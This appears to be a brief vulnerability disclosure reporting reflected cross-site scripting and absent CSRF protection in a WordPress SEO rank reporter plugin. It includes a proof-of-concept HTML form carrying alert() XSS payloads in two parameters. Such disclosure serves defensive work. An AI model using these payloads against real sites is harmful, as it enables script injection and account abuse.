Hello,
1. Reflected Cross-Site Scripting (XSS)
Authenticated administrators can inject html/js code (there is no CSRF protection).
Method: POST
Vulnerable parameters: keyword_item, entry_url
Example PHP callstack:
/seo-rank-reporter/add-keywords.php:57
Verification:
--
<input type="text" name="first_submit_keyw" value="Add to Reporter" />
<input type="text" name="keyword_item" value='"><img src=x onerror=alert(1) />'>
<input type="text" name="entry_url" value='"><img src=x onerror=alert(2) />'>
<input type="submit" />
</form>
--
--
Regards,
Marcin Probola,